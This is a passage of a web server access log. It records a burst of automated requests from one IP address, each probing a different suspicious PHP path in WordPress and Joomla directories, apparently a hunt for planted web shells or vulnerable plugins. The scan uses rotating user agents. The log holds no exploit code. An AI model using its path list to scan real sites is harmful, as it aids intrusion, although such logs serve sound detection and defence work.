Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:29 +0300] "GET /wp-content/languages/registration-functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:29 +0300] "GET /components/com_jea/views/form/tmpl/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:29 +0300] "GET /wp-admin/js/tealink-porse-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:29 +0300] "GET /wp-includes/admin-bar-decryption.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:29 +0300] "GET /wp-includes/ID3/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:29 +0300] "GET /wp-content/themes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:50:29 +0300] "GET /wp-includes/https-detection-list.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:29 +0300] "GET /wp-includes/class-wp-smtp-bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:50:29 +0300] "GET /wp-includes/class-phpass-xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:29 +0300] "GET /modules/mod_ariimageslidersa/mod_ariimageslidersa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:29 +0300] "GET /wp-includes/Requests/src/int.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:29 +0300] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:29 +0300] "GET /wp-includes/class-wp-block-editor-context-stream.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:29 +0300] "GET /wp-includes/ID3/module.audio-video.matroska-variable.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:30 +0300] "GET /wp-includes/sitemaps/category_template_1734465009.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:30 +0300] "GET /wp-includes/images/media/wp-config-sample-metaclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:30 +0300] "GET /wp-includes/Requests/src/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:30 +0300] "GET /wp-includes/script-modules-less.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:50:30 +0300] "GET /wp-includes/block-supports/elements-other.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:30 +0300] "GET /modules/mod_footer/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:50:30 +0300] "GET /wp-content/plugins/ioxi/ioxi/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:30 +0300] "GET /wp-includes/class-wp-text-diff-renderer-table-double.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:30 +0300] "GET /wp-includes/ms-default-filters-alpha.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:30 +0300] "GET /wp-includes/IXR/class-IXR-error-pic.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:30 +0300] "GET /wp-includes/js/jquery/wp-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:30 +0300] "GET /wp-includes/wp-db-framework.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:30 +0300] "GET /wp-includes/Requests/Transport-decryption.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:30 +0300] "GET /wp-includes/fonts/class-wp-font-library-hashing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:30 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-locations-control-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:30 +0300] "GET /wp-includes/php-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:50:31 +0300] "GET /wp-includes/embed-template-string.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:50:31 +0300] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:31 +0300] "GET /wp-includes/functions.wp-scripts-call.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:31 +0300] "GET /wp-admin/includes/class-pclzip-query.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:31 +0300] "GET /wp-admin/includes/class-theme-upgrader-skin-json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:31 +0300] "GET /wp-includes/customize/class-wp-customize-header-image-control-list.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:31 +0300] "GET /wp-includes/SimplePie/Cache-queue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:31 +0300] "GET /wp-content/plugins/wpcall-button/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:31 +0300] "GET /wp-includes/customize/class-wp-customize-new-menu-control-firewall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:31 +0300] "GET /wp-includes/wp-entry-sec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:31 +0300] "GET /wp-content/fonts/nunito/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:31 +0300] "GET /wp-includes/rest-api/search/class-wp-rest-search-handlers.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:31 +0300] "GET /wp-includes/rss-functions-stream.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:31 +0300] "GET /wp-includes/class-wp-text-diff-renderer-inline-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:31 +0300] "GET /wp-includes/IXR/class-IXR-base64-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:31 +0300] "GET /wp-includes/class-wp-block-metaparser-registry-pic.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:31 +0300] "GET /wp-includes/customize/class-wp-customize-partial-other.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:31 +0300] "GET /wp-includes/assets/script-modules-packages-constructor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:50:32 +0300] "GET /wp-includes/theme-compat/embed-content-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:32 +0300] "GET /wp-includes/class-wp-image-editor-gd-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:50:32 +0300] "GET /wp-includes/block-patterns/social-links-shared-background-color-constructor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:32 +0300] "GET /wp-admin/includes/class-wp-media-list-table-ezd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:32 +0300] "GET /wp-includes/ID3/module.audio-video.quicktime-array.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:32 +0300] "GET /wp-includes/blocks/navigation-submenu/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:32 +0300] "GET /wp-includes/prayer_intentions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:32 +0300] "GET /wp-includes/class-wp-image-editor-gd-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:32 +0300] "GET /wp-includes/class-wp-block-styles-registry-trigger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:32 +0300] "GET /wp-admin/includes/class-wp-debug-data-constructor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:32 +0300] "GET /wp-includes/spl-autoload-compat-hashing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:32 +0300] "GET /wp-includes/comment-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:32 +0300] "GET /wp-includes/class-walker-comment-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:32 +0300] "GET /wp-includes/class-wp-date-query-trigger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:32 +0300] "GET /wp-includes/class-wp-simplepie-file-object.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:32 +0300] "GET /wp-includes/class-wp-block-styles-registry-request.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:32 +0300] "GET /wp-includes/customize/class-wp-widget-form-customize-control-restful.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:33 +0300] "GET /wp-includes/interactivity-api/class-wp-interactivity-api-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:33 +0300] "GET /wp-includes/widgets/class-wp-widget-media-audio-restful.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:33 +0300] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:33 +0300] "GET /wp-includes/class-wp-text-diff-renderer-table-pointer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:33 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:33 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-section-plain.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:33 +0300] "GET /wp-includes/IXR/class-IXR-date-info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:33 +0300] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:33 +0300] "GET /wp-includes/class-wp-text-diff-renderer-table-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:33 +0300] "GET /wp-includes/class-wp-theme-map-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:33 +0300] "GET /wp-admin/css/colors/ectoplasm/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:33 +0300] "GET /plugins/jquery.filer/uploads/upls2.p.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:33 +0300] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:33 +0300] "GET /wp-includes/class-wp-block-metadata-registry-pic.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:33 +0300] "GET /wp-includes/sitemaps/providers/class-wp-sitemaps-pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:33 +0300] "GET /wp-includes/class-wp-block-type-registry-decryption.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:33 +0300] "GET /wp-includes/widgets/class-wp-widget-recent-comments-get.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:33 +0300] "GET /wp-includes/class-wp-term-dns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:34 +0300] "GET /wp-includes/sitemaps/class-wp-sitemaps-registry-event.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:34 +0300] "GET /wp-includes/customize/class-wp-customize-background-image-setting-get.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:34 +0300] "GET /wp-content/plugins/elementor/elementor-library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:34 +0300] "GET /wp-includes/class-wp-block-supports-query.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:34 +0300] "GET /wp-includes/class-wp-block-bindings-registry-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:34 +0300] "GET /wp-content/plugins/cherry-plugin/admin/import-export/comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:34 +0300] "GET /wp-includes/customize/class-wp-sidebar-block-editor-control-stack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:34 +0300] "GET /wp-includes/class-wp-network-security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:50:34 +0300] "GET /wp-content/uploads/wpr-addons/forms/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.123.188 - - [05/Apr/2026:18:50:34 +0300] "GET /wp-includes/ID3/module.tag.lyrics3-encryption.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:34 +0300] "GET /wp-includes/block-supports/custom-classname-library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:34 +0300] "GET /wp-includes/class-wp-recovery-mode-key-service-stack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:34 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-pic.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:34 +0300] "GET /wp-includes/class-wp-user-meta-session-tokens-first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:50:34 +0300] "GET /wp-includes/class-wp-simple-js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:34 +0300] "GET /wp-includes/assets/script-modules-packages-first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:34 +0300] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/wp-rspyti.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:34 +0300] "GET /wp-includes/ID3/module.tag.lyrics3-less.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:34 +0300] "GET /wp-includes/fonts/class-wp-font-library-plain.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:35 +0300] "GET /wp-content/plugins/elementor/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:35 +0300] "GET /wp-admin/includes/class-wp-ajax-upgrader-skin-time.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:35 +0300] "GET /wp-includes/widgets/class-wp-widget-archives-compiler.php 